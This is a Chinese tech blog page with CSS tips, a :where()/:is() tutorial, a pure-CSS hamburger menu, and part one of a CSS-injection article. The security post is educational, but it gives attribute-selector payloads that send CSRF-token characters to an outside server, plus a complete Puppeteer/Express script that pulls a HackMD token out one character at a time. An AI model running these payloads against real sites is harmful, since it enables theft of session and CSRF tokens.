CSS on Wayne's blog | 偉恩的部落格 | 技術博客

21 個好用與特殊的 CSS 技巧！

Thu, 16 Mar 2023 00:00:00 +0000

🚨🚨 本文分享的所有 tips、tricks 都是 GitHub repository【css tips tricks】的一部分 🚨🚨

技巧說明

Docs Layout

僅用兩行 CSS 建立響應式文件樣式的佈局。

1
2
3
4


.parent {
 display: grid;
 grid-template-columns: minmax(150px, 25%) 1fr;
}

自定義游標

查看 css tips tricks 以了解更多訊息。

1
2
3


html {
 cursor: url('no.png'), auto;
}

用圖片填充文本

1
2
3
4
5
6


h1 {
 background-image: url('images/flower.jpg');
 background-clip: text;
 color: transparent;
 background-color: white;
}

注意：在使用此技術時始終指定 background-color，因為這將用作後備值，以防圖像因某種原因無法加載。

給文字加入描邊

使用 text-stroke 屬性使文本更易讀和可見，它會向文本加入筆劃或輪廓。

1
2
3
4
5
6


/* 🎨 對 h1 元素應用 5px 寬的深紅色文本描邊 */

h1 {
 -webkit-text-stroke: 5px crimson;
 text-stroke: 5px crimson;
}

暫停 Pseudo Class

使用 :paused 選擇器在暫停狀態下設置媒體元素的樣式同樣 :paused 我們也有 :playing。

目前僅 Safari 支持

1
2
3
4
5
6
7
8


/* 目前僅 Safari 支持 */
video:paused {
 opacity: 0.6;
}

video:playing {
 opacity: 1;
}

強調文字

使用 text-emphasis 屬性將強調標記應用於文本元素。您可以指定任何字串，包括表情符號作為其值。

1
2
3


h1 {
 text-emphasis: "⏰";
}

樣式首字偽元素

避免不必要的 <span>，而是使用偽元素來為您的內容設置樣式，就像 first-letter 偽元素一樣，我們也有 first-line 偽元素。

1
2
3
4


h1::first-letter {
 font-size: 2rem;
 color:#ff8A00;
}

變數的回退值

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


/* 🎨 由於未定義 var(--black)，將 h1 回退為紅色 */

:root {
 --orange: orange;
 --coral: coral;
}

h1 {
 color: var(--black, red);
}

改變書寫模式

您可以使用書寫模式屬性 writing-mode 來指定文本在您的網站上的佈局方式，即垂直或水平。

1

<h1>Cakes & Bakes</h1>

1
2
3
4
5


/* 💡 指定文字佈局方向為 sideways-lr */

h1 {
 writing-mode: sideways-lr;
}

彩虹動畫

為元素建立連續循環的彩色動畫以吸引用戶注意力。

閱讀 css tips tricks 以了解何時使用 prefer-reduced-motion 媒體功能。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


button {
 animation: rainbow-animation 200ms linear infinite;
}

@keyframes rainbow-animation {
 to {
 filter: hue-rotate(0deg);
 }
 from {
 filter: hue-rotate(360deg);
 }
}

Hover 時縮放

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


/* 定義圖像容器的高度和寬度並隱藏溢出 */
.img-container {
 height: 250px;
 width: 250px;
 overflow: hidden;
 }

/* 🖼️ 使容器內的圖像填滿容器 */

.img-container img {
 height: 100%;
 width: 100%;
 object-fit: cover;
 transition: transform 200m ease-in;
 }

 img:hover {
 transform: scale(1.2);
 }

屬性選擇器

使用屬性選擇器根據屬性選擇 HTML 元素。

1
2
3


<a href="">HTML</a>
<a>CSS</a>
<a href="">JavaScript</a>

1
2
3
4
5


/* 🔗 以所有具有 href 屬性的元素為目標 */

a[href] {
 color: crimson;
}

裁剪元素

使用 clip-path 屬性建立有趣的視覺效果，例如將元素剪裁成三角形或六邊形等自定義形狀。

1
2
3
4
5
6


div {
 height: 150px;
 width: 150px;
 background-color: crimson;
 clip-path: polygon(50% 0%, 0% 100%, 100% 100%);
}

檢測屬性是否支持

使用 CSS @support 規則直接在您的 CSS 中檢測對 CSS 特性的支持。查看 css tips tricks 以了解有關功能查詢的更多訊息。

1
2
3
4
5
6


@supports (accent-color: #74992e) {
 /* 如果支持該屬性，將運行的代碼 */
 blockquote {
 color: crimson;
 }
}

CSS 嵌套

CSS 一直在研究如何向 CSS 加入嵌套。通過嵌套，您將能夠編寫更直觀、更有條理和更高效的 CSS。

目前僅 Safari Technology Preview 支持

1
2
3


<header class="header">
 <p class="text">Lorem ipsum, dolor</p>
</header>

1
2
3
4
5
6
7
8
9


/* 🎉 您現在可以在 Safari Technology Preview 中嘗試 CSS 嵌套 */

.header {
 background-color: salmon;

 .text{
 font-size: 18px;
 }
}

箝制函數

使用 clamp() 函數實現響應式和流暢的排版。

1
2
3
4


/* Syntax: clamp(minimum, preferred, maximum) */
h1 {
 font-size: clamp(2.25rem,6vw,4rem);
}

樣式化可選字段

你可以使用 :optional 偽類來設置表單字段的樣式，例如 input、select 和 textarea，這些字段沒有 required 屬性。

1
2
3
4
5


/* 選擇頁面上的所有可選表單域 */

*:optional {
 background-color: green;
}

字間距屬性

使用 word-spacing 屬性指定單詞之間的空格長度。

1
2
3


p {
 word-spacing: 1.245rem;
}

建立漸變陰影

這就是如何建立漸變陰影以獲得獨特的用戶體驗。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


:root{
 --gradient: linear-gradient(to bottom right, crimson, coral);
}

div {
 height: 200px;
 width: 200px;
 background-image: var(--gradient);
 border-radius: 1rem;
 position: relative;
}

div::after {
 content: "";
 position: absolute;
 inset: 0;
 background-image: var(--gradient);
 border-radius: inherit;
 filter: blur(25px) brightness(1.5);
 transform: translateY(15%) scale(0.95);
 z-index: -1;
}

改變標題位置

使用 caption-side 屬性將表格標題（表格標題）放置在表格的指定一側。

建立文本列

使用列屬性為文本元素製作漂亮的列佈局。

1
2
3
4
5
6
7


/* 🏛️ 將 p 元素的內容分成 3 列 */

p {
 column-count: 3;
 column-gap: 4.45rem;
 column-rule: 2px dotted crimson;
}

BONUS(一)：穿透文字效果

使用 mix-blend-mode 製作穿透文字效果。

MDN 的用法說明
 Can i use 瀏覽器支援度

1
2
3


<div class="image-container">
 <div class="text">NATURE</div>
</div>

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


.image-container {
 background-image: url("img_nature.jpg");
 background-size: cover;
 position: relative;
 height: 300px;
}

.text {
 background-color: white;
 color: black;
 font-size: 10vw;
 font-weight: bold;
 margin: 0 auto;
 padding: 10px;
 width: 50%;
 text-align: center;
 position: absolute;
 top: 50%;
 left: 50%;
 transform: translate(-50%, -50%);
 mix-blend-mode: screen;
}

以上分享，希望對您有幫助！

學習 CSS 中的 :where() 與 :is() 函式

Mon, 13 Feb 2023 00:00:00 +0000

參考網站
 參考網站

:where() 函式接受一個選擇器列表作為參數，允許你編寫更少的代碼並同時設置它們的樣式。本篇文章我們來討論 :where() 的偽類函式，並示範如何在生產環境中使用它。我們將回顧與 :where() 函式相關的疊加、優先級和安全性；另外我們還研究一些特定的範例，並討論它與 :is() 函式的差別！

`:where()`？

根據MDN，:where() 是一個CSS 偽類函數選擇器，它接受一個選擇器列表作為參數，並將給定的樣式應用於該列表中的任何元素，因此 :where() 對於縮短一個較長的選擇器列表非常有用。

在 CSS 中，當多個元素同時應用相同的樣式規則時，我們通常會編寫一長串以逗號分隔的選擇器。

下面是一個例子，我們將相同的樣式應用到 header、main 元素和 footer 元素中的所有 a 標籤：

1
2
3
4
5
6


header a:hover,
main a:hover,
footer a:hover {
 color: green;
 text-decoration: underline;
}

在上面的代碼片段中，我們只選擇了三個元素，但是如果有大量的元素和選擇器，代碼將開始看起來不整潔，並且可能變得難以閱讀和理解。這就是 :where() 偽類函數發揮作用的地方。

下面是上面的例子使用 :where() 函數的樣子：

1
2
3
4


:where(header, main, footer) a:hover {
 color: red;
 text-decoration: underline;
}

當瀏覽器到達該代碼片段時，該代碼指示瀏覽器查找 header、main 和 footer 選擇器，並定位這些選擇器中的所有 a 標籤。

當用戶將鼠標懸停在任何這些 a 標籤上時，瀏覽器應該應用指定的樣式，在本例中為文字顏色紅色與下劃線。這個偽類函數使我們能夠以更短、更容易理解的方式編寫一個很長的選擇器列表。

組合、分割與疊加 `:where()` 函數

使用 :where() 函數，我們可以以多種方式和組合對元素進行分組。

我們可以將 :where() 函數放在選擇器的開頭、中間或結尾。

下面是一個有多個選擇器和樣式的例子：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21


/* first list */
header a:hover,
main a:hover,
footer a:hover {
 color: green;
 text-decoration: underline;
}

/* second list */
article header > p,
article footer > p{
 color: gray;
}

/* third list */
.dark-theme button,
.dark-theme a,
.dim-theme button,
.dim-theme a{
 color: purple;
}

下面是相同的代碼，用 :where() 函數重寫：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


/* first list */
:where(header, main, footer) a:hover {
 color: red;
 text-decoration: underline;
}

/* second list */
article :where(header, footer) > p {
 color: gray;
}

/* third list */
.dark-theme :where(button, a) {
 color: purple;
}
.dim-theme :where(button, a) {
 color: purple;
}

在第一個列表中，我們指定「紅色」和「下劃線」樣式應應用於懸停時的 header 元素、main 元素和 footer 元素。在第二個列表中，我們指定 article元素、header元素和 footer 元素應該使用灰色樣式。

為了更清晰，我們將第三個列表分為兩個 :where() 函數。在這個列表中，我們指定 .dark-theme、.dim-theme 裡的 button 和 a 元素的樣式應該是紫色。

現在，我們將進一步減少第三個列表函數，將它們變成一個 :where() 函數：

1
2
3
4


/* 堆疊 */
:where(.dark-theme, .dim-theme) :where(button, a) {
 color: purple;
}

這種減少複雜選擇器列表的方式稱為疊加。

`:where()` 選擇器的優先級

:where() 函數選擇器的優先級總是零。

因此，以該函數為目標的任何元素也會自動獲得 0 的優先級。這使我們能夠輕鬆地取消任何元素的樣式。

下面是一個 HTML 有序列表的例子：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


<div>
 <h2>First list no class</h2>
 <ol>
 <li>List Item 1</li>
 <li>List Item 2</li>
 </ol>
</div>
<div>
 <h2>Second list with class</h2>
 <ol class="second-list">
 <li>List Item 1</li>
 <li>List Item 2</li>
 </ol>
</div>

<div>
 <h2>Third list with class</h2>
 <ol class="third-list">
 <li>List Item 1</li>
 <li>List Item 2</li>
 </ol>
</div>

在上面的代碼片段中，有三個有序列表，每個列表中有兩個項。第二個和第三個列表有一個給定的類，而第一個列表沒有。

沒有任何樣式，我們可以看到每個列表是按數字順序排列的：

現在讓我們添加一些樣式：

1
2
3


:where(ol[class]) {
 list-style-type: none;
}

在上面的代碼片段中，我們使用 :where() 偽類函數來選擇應用了類的所有 ol 標籤。

下面，我們看到第二個和第三個列表，它們都有一個類，被 :where() 函數作為目標，並刪除了它們的 list-style-type：

現在，讓我們添加一些額外的樣式：

1
2
3
4
5
6
7


:where(ol[class]) {
 list-style-type: none;
}

.second-list {
 list-style-type: disc;
}

只針對使用類名的第二個列表，我們可以看到它現在顯示為項目符號，而第三個列表仍然沒有列表樣式類型：

你可能會想，“這不應該是這樣嗎，因為新的樣式寫在 :where() 函數樣式下面？“不，它不是，我們一會兒就會看到。

讓我們看看當我們把剛剛添加的代碼移到代碼塊的頂部，並把 :where() 函數部分移到底部時，會發生什麼：

1
2
3
4
5
6
7


.second-list {
 list-style-type: disc;
}

:where(ol[class]) {
 list-style-type: none;
}

注意樣式仍然沒有改變：

記住：:where() 函數的優先級為零。

`:where()` 選擇器的安全性

對於選擇器列表，如果瀏覽器不能識別列表中的一個選擇器，則整個選擇器列表將被視為無效，並且它們的樣式將不會被應用。然而對於 :where() 偽類函數就不是這樣了。

如果 :where() 函數中的元素是無效選擇器的目標，則該元素將不會獲得任何樣式。其餘的元素仍然會被設置樣式。:where() 函數將跳過無效的選擇器到下一個（有效）選擇器。

這就是為什麼 :where() 被稱為安全的選擇器。

在下面的例子中，:unsupported 對於許多瀏覽器來說是無效的選擇器。下面的代碼將被正確解析，並且仍然會匹配 :valid 選擇器，即使在不支持 :unsupported 選擇器的瀏覽器中，如下所示：

1
2
3


:where(:valid, :unsupported) {
 /* ... */
}

而在不支持 :unsupported 選擇器的瀏覽器中，以下代碼將被忽略，即使它們支持 :valid 選擇器：

1
2
3


:valid, :unsupported {
 /* ... */
}

`:where()` 函數的特殊用例

在一些特殊的用例中，:where() 函數可能是一個有用的工具，但也有一些情況下應該避免使用它。

使用 :where() 偽類函數時出現的幾乎所有問題都歸結為優先級。

因為 :where() 的優先級為零，我們需要非常小心地選擇何時何地使用這個函數。

首先，讓我們看看幾個用例，在這些用例中 :where() 可能特別有用。

改進 CSS 重置

CSS 重置是指在任何其他樣式之前加載一組樣式規則，以清除瀏覽器的內置樣式。
CSS 重置通常放置在 CSS 樣式表的頂部或開始，所以它們首先加載。
開發人員通常使用它們來刪除瀏覽器最初給幾個元素的默認樣式，然後才開始實際設計他們的元素和網站。
CSS 重置還可以幫助消除不同瀏覽器之間的不一致。
CSS 重置是臨時的樣式，稍後會在樣式化過程中更改。

然而，根據 CSS 重置中使用的元素或元素組的選擇器的簡單性或複雜性，稍後在代碼中可能很難覆蓋初始樣式。

例如，假設我們將網站上的所有的 a 標籤設置為綠色。

然後我們稍後決定將所有 header 裡的 a 標籤的樣式設置為灰色。

由於在 CSS 重置中選擇的複雜性，新的（灰色）樣式不會被應用。

重置中的選擇器比後面代碼中僅針對 header 裡的 a 標籤使用的選擇器具有更高階的優先級，因此沒有應用灰色樣式。

現在，如果我們將 :where() 偽類函數添加到 CSS 重置中，這將自動為重置中的所有元素賦予零的優先級。

這使得我們以後更容易更改樣式，而不必擔心優先級衝突。

刪除樣式

如果想要刪除或取消樣式或降低一個或一組元素的優先級，則 :where() 函數非常有用。

保持樣式

如果要確保一個元素或元素集的樣式或優先級在未來的任何時候都不會改變，那麼不要使用 :where() 偽類。

`:is()`？

:is() 函數的運行方式幾乎與 :where() 函數相同。

你可以用它來簡化複雜的選擇器，也可以把它放在選擇器的開頭、中間或結尾，就像 :where() 函數一樣。

它也是安全的，就像 :where() 函數一樣。因此，當其中一個選擇器無效時，瀏覽器將忽略該選擇器，但有效選擇器的樣式將添加到所選元素中。

`:where()` 和 `:is()` 函數的區別？

這兩個函數的區別在於 :where() 函數的優先級總是零，則 :is() 函數的優先級取決於其最特定參數的優先級。

例如，讓我們看看 header 元素中的段落文本：

1
2
3


<header>
 <p>This is a paragraph text.</p>
</header>

然後，讓我們嘗試使用四種不同的選擇器來改變文本顏色：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


header p {
 color: blue;
}

:is(header, section) p {
 color: green;
}

p {
 color: blue;
}

:where(header, section) p {
 color: blue;
}

第一個選擇器將文本的顏色設置為藍色。使用 :is() 的第二個選擇器與第一個選擇器具有相同的優先級，但由於它位於第一個選擇器之後，因此它將文本顏色從藍色更改為綠色。第三個選擇器的優先級低於第一個和第二個選擇器，對文本沒有影響。最後是第四個，它使用 :where() 函數對文本沒有影響，因為它的零優先級。

瀏覽器兼容性

所有瀏覽器，無論是桌面瀏覽器還是移動瀏覽器，都完全支持 :where() 函數，包括對其安全特性的支持。因此，你不必擔心你的樣式是否會在瀏覽器中正確呈現。

免JS！純CSS就可打造出，開合式的漢堡選單功能

Mon, 21 Nov 2022 00:00:00 +0000

參考網站

前言

選單一直是製作網頁最基本的功能需求之一，因此對於許多的套件內建都會提供選單的功能，且這些滑動式選單，大部分都是透過 Javascript 所製作而成，最主要的原因就在於，透過 Javascript 可以精準的知道，目前使用是點選開啟還是關閉。

而最近發現一個超酷的寫法，直接透過 HTML 中的核許框，就可判斷目前是開啟還是關閉，再搭配 CSS 就可實作出展開與收合，甚至連漢堡選單的那圖示，也可透過 CSS 繪製出來，且當選單開啟時，還可透過動畫將選單變叉叉的圖示，因此現在就一塊來看看，如何透過純 CSS 打造出開合式漢堡選單吧！

做法

1. 加入以下的 HTML 架構

首先，先在HTML中加入以下的HTML架構。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


<nav class="nav-box">
 <input type="checkbox" id="menu">
 <label for="menu" class="line">
 <div class="menu"></div>
 </label>

 <div class="menu-list">
 <ul>
 <li>選單1</li>
 <li>選單2</li>
 <li>選單3</li>
 </ul>
</div>
</nav>

2. 加入 CSS 設定漢堡選單的圖示

接著再透過CSS來設定漢堡選單的圖示。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36


/*
選單線
*/
.line {
 width: 24px;
 height: 24px;
 background: #FFF;
 cursor: pointer;
 display: block;
 padding: 16px;
 position: fixed;
 z-index: 2;
}
.line .menu,
.line .menu::before,
.line .menu::after {
 background: #222;
 content: '';
 display: block;
 height: 1px;
 position: absolute;
 transition: background ease .15s, top ease .15s .15s, transform ease .15s;
 width: 20px;
}
.line .menu {
 left: 18px;
 top: 27px;
}

.line .menu::before {
 top: -6px;
}

.line .menu::after {
 top: 6px;
}

3. 加入 :checked 屬性的判斷

接著再透過 :checked 的屬性，來判斷目前為開啟狀態，當選單開啟時，原來的三條線就變成叉叉。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


/*
點選選單變叉叉
*/
#menu:checked + .line .menu {
 background: transparent;
}

#menu:checked + .line .menu::before {
 transform: rotate(45deg);
}

#menu:checked + .line .menu::after {
 transform: rotate(-45deg);
}

#menu:checked + .line .menu::before,
#menu:checked + .line .menu::after {
 top: 0;
 transition: top ease .15s, transform ease .15s .15s;
}

4. 設定開合樣式

當選單按鈕處理好後，一樣用 :checked 來設定選單展開(200px)與收合(60px)。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31


/*
選單開合
*/
#menu:checked ~ .menu-list {
 width: 200px;
}

.menu-list {
 width: 60px;
 height: 100vh;
 background: #FFF;
 box-shadow: 0 2px 4px rgba(0, 0, 0, .1);
 padding-top: 60px;
 position: fixed;
 z-index: 1;
 transition: all .3s;
 overflow: hidden;
}

/*
選單向外推
*/
.menu-list ul {
 list-style: none;
 margin-left:70px;
 padding: 0;
}
.menu-list ul>li{
 display:block;
 width:100px;
}

5. 隱藏 checkbox

都弄好後，再把 input 的核許框給隱藏起來，這樣就可透過純CSS打造出滑動式的漢堡選單啦！

範例預覽

See the Pen blog/pure-css-toggle-menu-icon by wjdesign (@WJDesign) on CodePen.

用 CSS 來偷資料 - CSS injection

Mon, 03 Oct 2022 00:00:00 +0000

用 CSS 來偷資料 - CSS injection（上）

參考文章

前言

在講到針對網頁前端的攻擊時，你我的心中浮現的八成會是 XSS，但如果你沒辦法在網頁上執行 JavaScript，有沒有其他的攻擊手法呢？例如說，假設可以插入 style 標籤，你能夠做些什麼？

在 2018 年的時候，我有寫過一篇 CSS keylogger：攻擊與防禦，那時剛好在 Hacker News 上面看到相關的討論，於是就花了點時間研究了一下。

而 4 年後的現在，我從資安的角度重新認識了這個攻擊手法，因此打算寫一兩篇文章來好好講解 CSS injection。

這篇的文章內容包含：

什麼是 CSS injection？
CSS 偷資料的原理
如何偷 hidden input 的資料
如何偷 meta 的資料
承上，並以 HackMD 為例

什麼是 CSS injection？

顧名思義，CSS injection 代表的是你在一個頁面上可以插入任何的 CSS 語法，或是講得更明確一點，你可以使用 <style> 這個標籤。你可能會好奇，為什麼會有這種狀況？

我自己認為常見的狀況有兩個，第一個是網站有過濾掉許多標籤，但不覺得 <style> 有問題，所以沒有過濾掉。例如說很多網站都會用現成的 library 來處理 sanitization，其中有一套很有名的叫做 DOMPurify。

在 DOMPurify(v2.4.0) 之中，預設就會幫你把各種危險的標籤全都過濾掉，只留下一些安全的，例如說 <h1> 或是 <p> 這種，而重點是 <style> 也在預設的安全標籤裡面，所以如果你沒有特別指定參數，在預設的狀況下，<style> 是不會被過濾掉的，因此攻擊者就可以注入 CSS。

第二種狀況則是雖然可以插入 HTML，但是由於 CSP（Content Security Policy）的緣故，沒有辦法執行 JavaScript。既然沒辦法執行 JavaScript，就只能退而求其次，看看有沒有辦法利用 CSS 做出一些惡意行為。

那到底有了 CSS injection 之後可以幹嘛？CSS 不是拿來裝飾網頁用的而已嗎？難道幫網頁的背景換顏色也可以是一個攻擊手法？

利用 CSS 偷資料

CSS 確實是拿來裝飾網頁用的，但是只要結合兩個特性，就可以使用 CSS 來偷資料。

第一個特性：屬性選擇器。

在 CSS 當中，有幾個選擇器可以選到「屬性符合某個條件的元素」。舉例來說，input[value^=a]，就可以選到 value 開頭是 a 的元素。

類似的選擇器有：

input[value^=a] 開頭是 a 的（prefix）
input[value$=a] 結尾是 a 的（suffix）
input[value*=a] 內容有 a 的（contains）

而第二個特性是：可以利用 CSS 發出 request，例如說載入一張伺服器上的背景圖片，本質上就是在發一個 request。

假設現在頁面上有一段內容是 <input name="secret" value="abc123">，而我能夠插入任何的 CSS，我可以這樣寫：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


input[name="secret"][value^="a"] {
 background: url(https://myserver.com?q=a)
}

input[name="secret"][value^="b"] {
 background: url(https://myserver.com?q=b)
}

input[name="secret"][value^="c"] {
 background: url(https://myserver.com?q=c)
}

//....

input[name="secret"][value^="z"] {
 background: url(https://myserver.com?q=z)
}

會發生什麼事情？

因為第一條規則有順利找到對應的元素，所以 input 的背景就會是一張伺服器上的圖片，而瀏覽器就會發 request 到 https://myserver.com?q=a。

因此，當我在 server 收到這個 request 的時候，我就知道「input 的 value 屬性，第一個字元是 a」，就順利偷到了第一個字元。

這就是 CSS 之所以可以偷資料的原因，透過屬性選擇器加上載入圖片這兩個功能，就能夠讓 server 知道頁面上某個元素的屬性值是什麼。

好，現在確認 CSS 可以偷屬性的值了，接下來有兩個問題：

有什麼東西好偷？
你剛只示範偷第一個，要怎麼偷第二個字元？

我們先來討論第一個問題，有哪些東西可以偷？通常都是要偷一些敏感資料對吧？

最常見的目標，就是 CSRF token。如果你不知道什麼是 CSRF，可以先看看我之前寫過的這一篇：讓我們來談談 CSRF（話說我有打算寫新的 CSRF 系列文，拖稿中，想看的話可留言催稿）。

簡單來說呢，如果 CSRF token 被偷走，就有可能會被 CSRF 攻擊，總之你就想成這個 token 很重要就是了。而這個 CSRF token，通常都會被放在一個 hidden input 中，像是這樣：

1
2
3
4
5


<form action="/action">
 <input type="hidden" name="csrf-token" value="abc123">
 <input name="username">
 <input type="submit">
</form>

我們該怎麼偷到裡面的資料呢？

偷 hidden input

對於 hidden input 來說，照我們之前那樣寫是沒有效果的：

1
2
3


input[name="csrf-token"][value^="a"] {
 background: url(https://example.com?q=a)
}

因為 input 的 type 是 hidden，所以這個元素不會顯示在畫面上，既然不會顯示，那瀏覽器就沒有必要載入背景圖片，因此 server 不會收到任何 request。而這個限制非常嚴格，就算用 display:block !important; 也沒辦法蓋過去。

該怎麼辦呢？沒關係，我們還有別的選擇器，像是這樣：

1
2
3


input[name="csrf-token"][value^="a"] + input {
 background: url(https://example.com?q=a)
}

最後面多了一個 + input，這個加號是另外一個選擇器，意思是「選到後面的元素」，所以整個選擇器合在一起，就是「我要選 name 是 csrf-token，value 開頭是 a 的 input，的後面那個 input」，也就是 <input name="username">。

所以，真正載入背景圖片的其實是別的元素，而別的元素並沒有 type=hidden，所以圖片會被正常載入。

那如果後面沒有其他元素怎麼辦？像是這樣：

1
2
3
4
5


<form action="/action">
 <input name="username">
 <input type="submit">
 <input type="hidden" name="csrf-token" value="abc123">
</form>

以這個案例來說，在以前就真的玩完了，因為 CSS 並沒有可以選到「前面的元素」的選擇器，所以真的束手無策。

但現在不一樣了，因為我們有了 :has，這個選擇器可以選到「底下符合特殊條件的元素」，像這樣：

1
2
3


form:has(input[name="csrf-token"][value^="a"]){
 background: url(https://example.com?q=a)
}

意思就是我要選到「底下有（符合那個條件的 input）的 form」，所以最後載入背景的會是 form，一樣也不是那個 hidden input。這個 has selector 很新，從上個月底釋出的 Chrome 105 開始才正式支援，目前只剩下 Firefox 的穩定版還沒支援了，詳情可看：caniuse

有了 has 以後，基本上就無敵了，因為可以指定改變背景的是哪個父元素，所以想怎麼選就怎麼選，怎樣都選得到。

偷 meta

除了把資料放在 hidden input 以外，也有些網站會把資料放在 <meta> 裡面，例如說 <meta name="csrf-token" content="abc123">，meta 這個元素一樣是看不見的元素，要怎麼偷呢？

首先，如同上個段落的結尾講的一樣，has 是絕對偷得到的，可以這樣偷：

1
2
3


html:has(meta[name="csrf-token"][content^="a"]) {
 background: url(https://example.com?q=a);
}

但除此之外，還有其他方式也偷得到。

meta 雖然也看不到，但跟 hidden input 不同，我們可以自己用 CSS 讓這個元素變成可見：

1
2
3
4
5
6
7


meta {
 display: block;
}

meta[name="csrf-token"][content^="a"] {
 background: url(https://example.com?q=a);
}

可是這樣還不夠，你會發現 request 還是沒有送出，這是因為 meta 在 head 底下，而 head 也有預設的 display:none 屬性，因此也要幫 head 特別設置，才會讓 meta「能被看到」：

1
2
3
4
5
6
7


head, meta {
 display: block;
}

meta[name="csrf-token"][content^="a"] {
 background: url(https://example.com?q=a);
}

照上面這樣寫，就會看到瀏覽器發出 request。不過，畫面上倒是沒有顯示任何東西，因為畢竟 content 是一個屬性，而不是 HTML 的 text node，所以不會顯示在畫面上，但是 meta 這個元素本身其實是看得到的，這也是為什麼 request 會發出去：

如果你真的想要在畫面上顯示 content 的話，其實也做得到，可以利用偽元素搭配 attr：

1
2
3


meta:before {
 content: attr(content);
}

就會看到 meta 裡面的內容顯示在畫面上了。

最後，讓我們來看一個實際案例。

偷 HackMD 的資料

HackMD 的 CSRF token 放在兩個地方，一個是 hidden input，另一個是 meta，內容如下：

1

<meta name="csrf-token" content="h1AZ81qI-ns9b34FbasTXUq7a7_PPH8zy3RI">

而 HackMD 其實支援 <style> 的使用，這個標籤不會被過濾掉，所以你是可以寫任何的 style 的，而相關的 CSP 如下：

1
2
3


img-src * data:;
style-src 'self' 'unsafe-inline' https://assets-cdn.github.com https://github.githubassets.com https://assets.hackmd.io https://www.google.com https://fonts.gstatic.com https://*.disquscdn.com;
font-src 'self' data: https://public.slidesharecdn.com https://assets.hackmd.io https://*.disquscdn.com https://script.hotjar.com;

可以看到 unsafe-inline 是允許的，所以可以插入任何的 CSS。

確認可以插入 CSS 以後，就可以開始來準備偷資料了。還記得前面有一個問題沒有回答，那就是「該怎麼偷第一個以後的字元？」，我先以 HackMD 為例回答。

首先，CSRF token 這種東西通常重新整理就會換一個，所以不能重新整理，而 HackMD 剛好支援即時更新，只要內容變了，會立刻反映在其他 client 的畫面上，因此可以做到「不重新整理而更新 style」，流程是這樣的：

準備好偷第一個字元的 style，插入到 HackMD 裡面
受害者打開頁面
伺服器收到第一個字元的 request
從伺服器更新 HackMD 內容，換成偷第二個字元的 payload
受害者頁面即時更新，載入新的 style
伺服器收到第二個字元的 request
不斷循環直到偷完所有字元

簡單的示意圖如下：

程式碼如下：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93


const puppeteer = require('puppeteer');
const express = require('express')

const sleep = ms => new Promise(resolve => setTimeout(resolve, ms));

// Create a hackMD document and let anyone can view/edit
const noteUrl = 'https://hackmd.io/1awd-Hg82fekACbL_ode3aasf'
const host = 'http://localhost:3000'
const baseUrl = host + '/extract?q='
const port = process.env.PORT || 3000

;(async function() {
 const app = express()
 const browser = await puppeteer.launch({
 headless: true
 });
 const page = await browser.newPage();
 await page.setViewport({ width: 1280, height: 800 })
 await page.setRequestInterception(true);

 page.on('request', request => {
 const url = request.url()
 // cancel request to self
 if (url.includes(baseUrl)) {
 request.abort()
 } else {
 request.continue()
 }
 });
 app.listen(port, () => {
 console.log(`Listening at http://localhost:${port}`)
 console.log('Waiting for server to get ready...')
 startExploit(app, page)
 })
})()

async function startExploit(app, page) {
 let currentToken = ''
 await page.goto(noteUrl + '?edit');

 // @see: https://stackoverflow.com/questions/51857070/puppeteer-in-nodejs-reports-error-node-is-either-not-visible-or-not-an-htmlele
 await page.addStyleTag({ content: "{scroll-behavior: auto !important;}" });
 const initialPayload = generateCss()
 await updateCssPayload(page, initialPayload)
 console.log(`Server is ready, you can open ${noteUrl}?view on the browser`)

 app.get('/extract', (req, res) => {
 const query = req.query.q
 if (!query) return res.end()

 console.log(`query: ${query}, progress: ${query.length}/36`)
 currentToken = query
 if (query.length === 36) {
 console.log('over')
 return
 }
 const payload = generateCss(currentToken)
 updateCssPayload(page, payload)
 res.end()

 })
}

async function updateCssPayload(page, payload) {
 await sleep(300)
 await page.click('.CodeMirror-line')
 await page.keyboard.down('Meta');
 await page.keyboard.press('A');
 await page.keyboard.up('Meta');
 await page.keyboard.press('Backspace');
 await sleep(300)
 await page.keyboard.sendCharacter(payload)
 console.log('Updated css payload, waiting for next request')
}

function generateCss(prefix = "") {
 const csrfTokenChars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_'.split('')
 return `
${prefix}
<style>
 head, meta {
 display: block;
 }
 ${
 csrfTokenChars.map(char => `
 meta[name="csrf-token"][content^="${prefix + char}"] {
 background: url(${baseUrl}${prefix + char})
 }
 `).join('\n')
 }
</style>
 `
}

可以直接用 Node.js 跑起來，跑起來以後在瀏覽器打開相對應的文件，就可以在 terminal 看到 leak 的進度。

不過呢，就算偷到了 HackMD 的 CSRF token，依然還是沒辦法 CSRF，因為 HackMD 有在 server 檢查其他的 HTTP request header 如 origin 或是 referer 等等，確保 request 來自合法的地方。

總結

